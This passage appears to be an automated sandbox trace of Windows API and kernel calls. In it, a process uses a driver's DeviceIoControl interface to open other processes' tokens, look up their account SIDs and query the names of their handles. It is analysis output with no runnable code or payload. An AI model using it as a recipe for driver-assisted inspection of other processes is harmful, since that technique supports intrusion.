(Object=0xfffffa800201cb30) returned 0x12 [0122.973] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.973] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.973] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.973] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.973] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.974] CloseHandle (hObject=0xc8) returned 1 [0122.974] CloseHandle (hObject=0xc0) returned 1 [0122.974] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.974] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.974] PsAcquireProcessExitSynchronization () returned 0x0 [0122.974] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880044355d0) [0122.974] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020147d0, HandleInformation=0x0) returned 0x0 [0122.974] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.974] PsReleaseProcessExitSynchronization () returned 0x2 [0122.974] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0122.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.975] ObfDereferenceObject (Object=0xfffffa80020147d0) returned 0x1 [0122.975] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.975] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.975] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0122.975] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.975] PsAcquireProcessExitSynchronization () returned 0x0 [0122.975] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880044355d0) [0122.975] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800201c200, HandleInformation=0x0) returned 0x0 [0122.975] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.975] PsReleaseProcessExitSynchronization () returned 0x2 [0122.975] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0122.975] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.975] ObfDereferenceObject (Object=0xfffffa800201c200) returned 0x1 [0122.975] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.975] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.975] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.975] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.975] PsAcquireProcessExitSynchronization () returned 0x0 [0122.975] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880044355d0) [0122.975] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.975] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.975] PsReleaseProcessExitSynchronization () returned 0x2 [0122.975] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0122.976] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.976] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.976] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.976] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.976] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0xc0 [0122.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.976] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020273e0, HandleInformation=0x0) returned 0x0 [0122.976] ObOpenObjectByPointer (in: Object=0xfffffa80020273e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.976] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x12 [0122.976] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.976] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.976] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.976] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.976] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.977] CloseHandle (hObject=0xc8) returned 1 [0122.977] CloseHandle (hObject=0xc0) returned 1 [0122.977] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.977] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.977] PsAcquireProcessExitSynchronization () returned 0x0 [0122.977] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880044355d0) [0122.978] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002027d10, HandleInformation=0x0) returned 0x0 [0122.978] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.978] PsReleaseProcessExitSynchronization () returned 0x2 [0122.978] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0122.978] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.978] ObfDereferenceObject (Object=0xfffffa8002027d10) returned 0x1 [0122.978] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.978] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.978] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0122.978] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.978] PsAcquireProcessExitSynchronization () returned 0x0 [0122.978] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880044355d0) [0122.978] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002029130, HandleInformation=0x0) returned 0x0 [0122.978] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.978] PsReleaseProcessExitSynchronization () returned 0x2 [0122.978] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0122.978] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.978] ObfDereferenceObject (Object=0xfffffa8002029130) returned 0x1 [0122.978] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.978] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.978] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.978] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.978] PsAcquireProcessExitSynchronization () returned 0x0 [0122.978] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880044355d0) [0122.978] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.978] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.978] PsReleaseProcessExitSynchronization () returned 0x2 [0122.979] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0122.979] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.979] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.979] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.979] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.979] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0xc0 [0122.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.979] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002037b30, HandleInformation=0x0) returned 0x0 [0122.979] ObOpenObjectByPointer (in: Object=0xfffffa8002037b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.979] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x12 [0122.979] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.979] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.979] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.979] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.979] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.980] CloseHandle (hObject=0xc8) returned 1 [0122.980] CloseHandle (hObject=0xc0) returned 1 [0122.980] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.980] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.980] PsAcquireProcessExitSynchronization () returned 0x0 [0122.980] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880044355d0) [0122.980] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002035970, HandleInformation=0x0) returned 0x0 [0122.981] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.981] PsReleaseProcessExitSynchronization () returned 0x2 [0122.981] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0122.981] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.981] ObfDereferenceObject (Object=0xfffffa8002035970) returned 0x1 [0122.981] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.981] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.981] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0122.981] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.981] PsAcquireProcessExitSynchronization () returned 0x0 [0122.981] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880044355d0) [0122.981] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020a0c70, HandleInformation=0x0) returned 0x0 [0122.981] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.981] PsReleaseProcessExitSynchronization () returned 0x2 [0122.981] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0122.981] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.981] ObfDereferenceObject (Object=0xfffffa80020a0c70) returned 0x1 [0122.981] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.981] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.981] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.981] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.981] PsAcquireProcessExitSynchronization () returned 0x0 [0122.981] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880044355d0) [0122.981] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.981] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.981] PsReleaseProcessExitSynchronization () returned 0x2 [0122.981] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0122.981] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.981] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.981] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.982] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.982] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0xc0 [0122.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.982] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fabb30, HandleInformation=0x0) returned 0x0 [0122.982] ObOpenObjectByPointer (in: Object=0xfffffa8001fabb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.982] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x12 [0122.982] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.982] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.982] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.982] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.982] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.983] CloseHandle (hObject=0xc8) returned 1 [0122.983] CloseHandle (hObject=0xc0) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.983] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.983] PsAcquireProcessExitSynchronization () returned 0x0 [0122.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880044355d0) [0122.983] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020a3620, HandleInformation=0x0) returned 0x0 [0122.983] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.983] PsReleaseProcessExitSynchronization () returned 0x2 [0122.984] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0122.984] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.984] ObfDereferenceObject (Object=0xfffffa80020a3620) returned 0x1 [0122.984] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.984] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0122.984] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.984] PsAcquireProcessExitSynchronization () returned 0x0 [0122.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880044355d0) [0122.984] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019ac6b0, HandleInformation=0x0) returned 0x0 [0122.984] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.984] PsReleaseProcessExitSynchronization () returned 0x2 [0122.984] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0122.984] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.984] ObfDereferenceObject 